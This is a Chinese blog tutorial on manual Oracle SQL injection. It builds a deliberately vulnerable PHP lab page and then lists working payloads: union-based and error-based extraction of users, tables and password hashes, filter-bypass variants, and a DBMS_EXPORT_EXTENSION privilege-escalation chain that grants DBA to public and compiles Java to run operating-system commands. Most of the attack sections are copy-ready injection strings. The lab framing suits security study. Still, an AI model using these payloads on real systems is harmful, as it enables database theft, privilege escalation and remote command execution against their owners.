Web攻防

Oracle手工注入小结

2020-09-23  本文已影响0人  book4yi

前言:


明日复明日,
明日何其多。
既然这么多,
不妨再拖拖。

Mysql和Mssql的注入环境都有了,手注也简单过了一遍,Oracle手注肯定也不能缺席鸭~

环境搭建:


Oracle数据库下载:Oracle Database Software Downloads
图形化管理页面sqldeveloper下载:Oracle SQL Developer 19.2.1 Downloads
安装配置教程网上很多,这里不再简述~

Oracle相关操作(建立数据表):

sqlplus / as sysdba
create tablespace pentest datafile 'E:\app\tester_sws\oradata\orcl\pentest.dbf' size 100m; # 创建数据表空间
create user pentest identified by pentest default tablespace pentest; # 创建用户并指定表空间
grant connect,resource,dba to pentest; # 给予用户dba权限

# 建表:
CREATE TABLE USERS (
IDX NUMBER(10) NOT NULL ,
NAME VARCHAR2(20 BYTE) NULL ,
SEX VARCHAR2(2 BYTE) NULL ,
AGE NUMBER(3) NULL ,
REGDATE DATE NULL
)
LOGGING
NOCOMPRESS
NOCACHE;

# 插入测试数据:
INSERT INTO USERS VALUES ('1', 'xiaoming', 'M', '18', TO_DATE('2019-04-25 19:48:11', 'YYYY-MM-DD HH24:MI:SS'));
INSERT INTO USERS VALUES ('2', 'limao', 'F', '22', TO_DATE('2019-04-25 19:49:08', 'YYYY-MM-DD HH24:MI:SS'));
INSERT INTO USERS VALUES ('3', 'book4yi', 'M', '21', TO_DATE('2020-09-22 20:08:33', 'YYYY-MM-DD HH24:MI:SS'));

ALTER TABLE USERS ADD PRIMARY KEY ("IDX");  # 设置主键

存在SQL注入的php源码:

<?php

$id = $_GET['id'];
///*oci_connect的用户名/密码/ip地址/服务名请自行修改
$con = oci_connect('username','password','192.168.107.151/orcl.tester.local');
if($con){
echo "connected successfully!";
echo "</br>";
echo "Input:".$id."</br>";
if(!isset($_GET['id']) || $_GET['id'] == null)
{
$sql = "select * from USERS";
}
else
{
$sql = "select * from USERS WHERE IDX='".$id."'";
}
echo "<br>".$sql."<br>";
$stmt = oci_parse($con, $sql);
oci_execute($stmt);
$nrows = oci_fetch_all($stmt, $results);

if ($nrows > 0) {
echo "<table border=\"1\">\n";
echo "<tr>\n";
foreach ($results as $key => $val) {
echo "<th>$key</th>\n";
}
echo "</tr>\n";
for ($i = 0; $i < $nrows; $i++) {
echo "<tr>\n";
foreach ($results as $data) {
echo "<td>$data[$i]</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";
} else {
echo "No data found<br />\n";
}
}
else{
echo "NO";
}
?>

编辑php.ini,将;extension=php_oci8.dll ,;extension=php_oci8_11g.dll开始的;去掉,以打开OCI模块:

相关服务运行状态:

漏洞页面长酱紫:

sqlmap banner信息:

最终环境:

Windows 10 + Oracle(11.2.0.1.0) + sqldeveloper(19.2.1) + phpstudy( php5.5.9 nts)

基础学习:


SQL标准语法:

  • dual 是Oracle中的虚表,任何用户均可读取,常用在没有目标表的select 语句中。
  • Oracle数据库中使用的语言有三种,分别为:SQL, java, PL/SQL。Oracle和MySQL数据库语法大致相同,结构不太相同。最大的一个特点就是oracle可以调用Java代码
  • Oracle中使用||拼接字符串:
  • Oracle中单行注释为: -- ,多行注释为:/**/
  • Oracle中limit应该使用虚表中的rownum字段通过where条件判断:
    for example:select * from users where rownum = 1
  • 双引号:Oracle 的双引号用于消除系统关键字。例如,有个表的字段叫sysdate,因为sysdate属于oracle中的关键字,但你要查询这个字段的时候,就需要select "sysdate" from dual;,若用 select 'sysdate' from table_name;查询就相当于 select sysdate from table_name;,而sysdate 用于获得当前时间

SYSTEM:用于是存储系统表和管理配置等基本信息
SYSAUX:类似于 SYSTEM,主要存放一些系统附加信息,以便减轻 SYSTEM 的空间负担
UNDOTBS:用于事务回退等
TEMP:作为缓存空间减少内存负担
USERS:存储我们定义的表和数据

权限和用户:

一般oracle数据库安装成功后会创建几个默认用户sys、system、public等

sys:相当于 Linux 下的 root 用户。为 DBA 角色
system:与 sys 类似,但是相对于 sys 用户,无法修改一些关键的系统数据,这些数据维持着数据库的正常运行。为 DBA 角色。
public:public 代指所有用户(everyone),对其操作会应用到所有用户上(实际上是所有用户都有 public 用户拥有的权限,如果将 DBA 权限给了 public,那么也就意味着所有用户都有了 DBA 权限)

基础语法:
# 查看当前连接用户
select user from dual;

# 创建用户名为sqli密码为pentest的用户
create user sqli identified by pentest;

# 给新创建的用户授权,connect角色:保证该用户可以连接数据库;resource角色:该用户可以使用数据库资源
grant connect,resource to sqli;

# 创建表空间(需要超级管理员权限)
create tablespace pentest
  2  datafile '/tmp/pentest.dbf'
  3  size 100m
  4  autoextend on
  5  next 10m;
#举例:
create tablespace pentest datafile 'E:\app\tester_sws\oradata\orcl\pentest.dbf' size 100m;

# 删除表空间
drop tablespace pentest; # 删除表空间后,数据文件依旧存在。

# 添加列
alter table users add email varchar2(40);
# 修改列数据类型
alter table users modify email char(40);
# 修改列的名称
alter table users rename column email to sex;
# 删除列
alter table users drop column sex;
# 插入数据(values字符串不能使用双引号)
insert into users (id,uname,pwd) values(1,'admin','ab71giedas98g1o2dasgd12e98g');

1 row created.
# 修改数据
update users set uname='administrator';
# 删除数据
delete from users where uname='administrator';
数据类型:
  • varchar:varchar2 表示一个字符串
  • NUMBER:NUMBER(n)表示一个整数,长度是n;
    NUMBER(m,n)表示一个小数,总长度为m,小数位数为n,整数位数是m-n
    例如: NUMBER(4,2) 表示最大可以存储数字为99.99
  • DATA:表示日期类型
  • CLOB:大对象,表示大文本数据类型,可存4G
  • BLOB:大对象,表示二进制数据,可存4G
系统表:

dba_tables : 系统里所有的表的信息,需要DBA权限才能查询
all_tables : 描述当前用户可访问的关系表。(只要对某个表有任何权限,即可在此视图中看到表的相关信息,可以用来查库名和库名下的数据表)
user_tables: 当前用户名下的表的信息
dba_all_tables:DBA 用户所拥有的或有访问权限的对象和表
all_all_tables:描述当前用户可访问的对象表和关系表
user_all_tables:描述当前用户拥有的对象表和关系表
user_tab_columns:描述当前用户拥有的对象表的列名和关系表的列名
all_tab_columns:描述了所有表的列名信息

user_tables 的范围最小,all_tables 看到的东西稍多一些,而 dba_tables 的信息最全

获取数据库信息:
# 服务器版本:
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'; 或者 SELECT version FROM v$instance;

# 操作系统版本:
SELECT banner FROM v$version where banner like 'TNS%';

# 当前数据库:
SELECT global_name FROM global_name; 或者 SELECT name FROM v$database;或者SELECT instance_name FROM v$instance
#或者
SELECT SYS.DATABASE_NAME FROM DUAL;

# 获取当前用户权限的所有数据库:
SELECT DISTINCT owner, table_name FROM all_tables;

# 表名:
SELECT table_name FROM all_tables;

# 字段名:
SELECT column_name FROM all_tab_columns
获取用户信息:
#当前数据库用户:
SELECT user FROM dual;

#所有数据库用户:
SELECT username FROM all_users ORDER BY username; 
#或者 
SELECT name FROM sys.user$; -- priv

#所有数据库用户的密码 hash:
SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g 
#或者 
SELECT name, spare4 FROM sys.user$; -- priv, >= 11g

#当前用户的权限:
SELECT * FROM session_privs;

#所有用户的权限:
SELECT * FROM dba_sys_privs -- priv

#用户角色:
SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS; 
#或者 
SELECT DISTINCT grantee FROM dba_sys_privs

#列出DBA账户:
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = ‘YES’; — priv;

获取服务器相关信息

# 获取主机名和IP
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual;  查IP
SELECT UTL_INADDR.get_host_name(‘127.0.0.1’) FROM dual;  查主机名称

SELECT name FROM V$DATAFILE;  获取DB文件路径

联合注入:


注意:Oracle 中空字符串''就是null(也就是说,只有null,没有空字符)

Tips:
Oracle的数据类型是强匹配的,所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置,最后查询返回指定的记录时,oracle没有limit函数,要通过'>=0<=1'这种形式来指定

判断注入点:
id=1  #返回正常
id=1'  # 返回异常
id=1' and 1=1--   # 返回正常
id=1' and 1<>2--  # 返回正常,确认存在字符型注入

通过拼接符判断注入,是否将参数的值拼接到sql语句中:

id=book'||'4yi
判断列数:
id=book4yi' order by 5--

确认该数据库有5个字段

查找可回显字段:

对每一列的数据类型进行判断(可以使用null代替某些无法快速猜测出数据类型的位置:
先默认每一列均为null,然后从第一列开始依次将null改为字符串

id=-1' union select null,null,null,null,null
获取数据库版本信息:
id=-1' union select null,(SELECT banner FROM v$version WHERE banner LIKE 'Oracle%'),null,null,null from dual--

SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT version FROM v$instance;
获取操作系统版本:
id=-1' union select null,(SELECT banner FROM v$version where banner like 'TNS%'),null,null,null from dual--
获取当前数据库用户:
id=-1' union select null,user,null,null,null from dual--
获取当前用户权限:
id=-1' union select null,(select privilege from (select rownum r,privilege from session_privs) where r>0 and r<2),null,null,null from session_privs--

SELECT * FROM session_privs;
SELECT * FROM dba_sys_privs -- priv;  获取所有用户权限
获取所有用户:
# 获取第一行用户,后面以此类推
id=-1' union select null,(select username from (select rownum r,username from all_users) where r>0 and r<2),null,null,null from all_users--

SELECT username FROM all_users ORDER BY username
SELECT name FROM sys.user$; — priv;列出所有用户
获取当前数据库:
id=-1' union select null,global_name,null,null,null from global_name--

SELECT global_name FROM global_name;
SELECT name FROM v$database;
SELECT instance_name FROM v$instance;
SELECT SYS.DATABASE_NAME FROM DUAL;
获取表名:
# 获取当前数据库表名:
id=-1' union select null,(select table_name from user_tables where rownum=1),null,null,null from dual--
# 获取当前数据库下一个表名:
id=-1' union select null,(select table_name from user_tables where rownum=1 and table_name <> 'BONUS'),null,null,null from dual--

# 获取所有数据库表名
id=-1' union select null,(select table_name from all_tables where rownum=1),null,null,null from dual--
# 查下一个表名,以此类推
id=-1' union select null,(select table_name from all_tables where rownum=1 and table_name <> 'DUAL'),null,null,null from dual--

# 获取当前用户权限的所有数据表:
# 从前100行筛选当前用户对其具备权限的所有数据表,一次只能获得一个表名否则会报错
id=-1' union select null,(select table_name from (select rownum r,table_name,owner from all_tables) where r>0 and r<100 and owner=user),null,null,null from all_tables--

SELECT DISTINCT owner, table_name FROM all_tables;
获取列名:
id=-1' union select null,(select column_name from user_tab_columns where table_name='USERS' and rownum=1),null,null,null from dual--
获取数据:
id=-1' union select null,(select name from users where rownum=1),null,null,null from dual--

报错注入:


由于搭建的环境不存在报错注入,找了个靶机进行学习:
在线靶场地址:http://o1.lab.aqlab.cn:81/?id=1(存在数字型注入)

使用报错注入需要使用类似 1=[报错语句]或者1>[报错语句],通过使用比较运算符进行报错注,类似于Mssql报错注入的方式

利用ctxsys.drithsx.sn()进行报错注入:

查询当前用户:

id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

查询数据库版本:

id=1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) --

查询所有数据库名/用户:

id=1 and 1=ctxsys.drithsx.sn(1,(select DISTINCT owner from all_tables where rownum=1)) --

这个主要是用来查其他数据库名或者说其他用户,当前数据库直接通过user就可得知

查询当前用户有权限的数据表:

id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables  where rownum=1)) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tab_columns where rownum=1)) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tables  where rownum=1 and table_name not in ('NEWS'))) --
id=1 and 1=ctxsys.drithsx.sn(1,(select table_name from user_tab_columns where rownum=1 and table_name not in ('ADMIN'))) --

查询列名:(这里也查询查询列名的数据类型)

id=1 and 1=ctxsys.drithsx.sn(1,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1)) --
# 查询列名的数据类型
id=1 and 1=ctxsys.drithsx.sn(1,(select data_type from user_tab_columns where table_name='ADMIN' and column_name = 'ID' and rownum=1)) --

获取数据:

id=1 and 1=ctxsys.drithsx.sn(1,(select uname upass from ADMIN where rownum=1)) --
利用utl_inaddr.get_host_name()进行报错注入:
id= 1 and 1=utl_inaddr.get_host_name((select user from dual))--

注意:11g之后,使用此函数的数据库用户需要有访问网络的权限

利用dbms_xdb_version.checkin()进行报错注入:

查询当前用户:

id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

查询数据库版本:

id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --
利用bms_xdb_version.makeversioned()进行报错注入:

查询当前用户:

id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

查询数据库版本:

id=1 and (select dbms_xdb_version.makeversioned((select banner from sys.v_$version where rownum=1)) from dual) is not null --
利用dbms_xdb_version.uncheckout()进行报错注入:
id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --
利用dbms_utility.sqlid_to_sqlhash()进行报错注入:
id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --
利用CTXSYS.CTX_REPORT.TOKEN_TYPE进行报错注入:
id=1 and (select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual) is not null --
利用XMLType进行报错注入:
id=1 and (select XMLType('<:'||(select user from dual)||'>') from dual) is not null

Bypass:


id=-1'+union+select+null,(SELECT+--+asdas/*asdasd*/%0auser+FROM--123456%0adual),null,null,null+from+dual--

调用函数可使用空格换行:

id=1 and 1=ctxsys. drithsx%0a.sn--book4yi%0a(1,(select user from dual)) --
id=-1'/*!book4yi*/union/*!book4yi*/select/*!book4yi*/null,(select/*!book4yi*/user/*!book4yi*/from/*!book4yi*/dual),null,null,null/*!book4yi*/from/*!book4yi*/dual--

可尝试chr函数绕过,形如:

select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual
select decode(substr(user,1,1),chr(83),(select count(*) from all_objects),0) from dual

提权:


前文我们知道oracle是可以调用Java程序的

影响版本:

Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
1、权限提升:

http://localhost:8080/oracleInject/index?username=admin' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null--

2、创建Java代码执行命令:

http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

3、赋予Java执行权限:

http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

4、创建函数:

http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null --

5、赋予函数执行权限:

http://localhost:8080/oracleInject/index?username=admin' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--

6、执行命令:

http://localhost:8080/oracleInject/index?username=admin' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null--
DBMS_JVM_EXP_PERMS绕过JVM执行命令:

详情请参考:
https://www.notsosecure.com/hacking-oracle-11g/
https://www.exploit-db.com/exploits/33601

xml反序列化绕过JVM执行命令 CVE-2018-3004:

如果当前数据库用户具有connect和resource权限,则可以尝试使用反序列化来进行执行命令。Oracle Enterprise Edition 有一个嵌入数据库的Java虚拟机,而Oracle数据库则通过Java存储过程来支持Java的本地执行

--create or replace function get_java_property(prop in varchar2) return varchar2
--   is language java name 'java.lang.System.getProperty(java.lang.String) return java.lang.String';
--/
select get_java_property('java.version') from dual;

Oracle11g 命令执行:


在直连数据库的情况下:

# Windows下 通过关键字host
host whoami

# Linux下 通过关键字符 !
!whoami

详情请参考:Oracle命令执行小结

写在文末:


有一说一,先知社区和微信文章搜索真的特别好用,只要多关注些安全公众号,感谢各位师傅的无私分享!

参考如下:


oracle注入环境搭建:建库+php源码
一篇文章入门Oracle注入
Oracle命令执行小结
Oracle 注入 All in ONE
Oracle SQL注入学习
关于学习Oracle注入
Oracle报错注入总结

上一篇 下一篇

猜你喜欢

热点阅读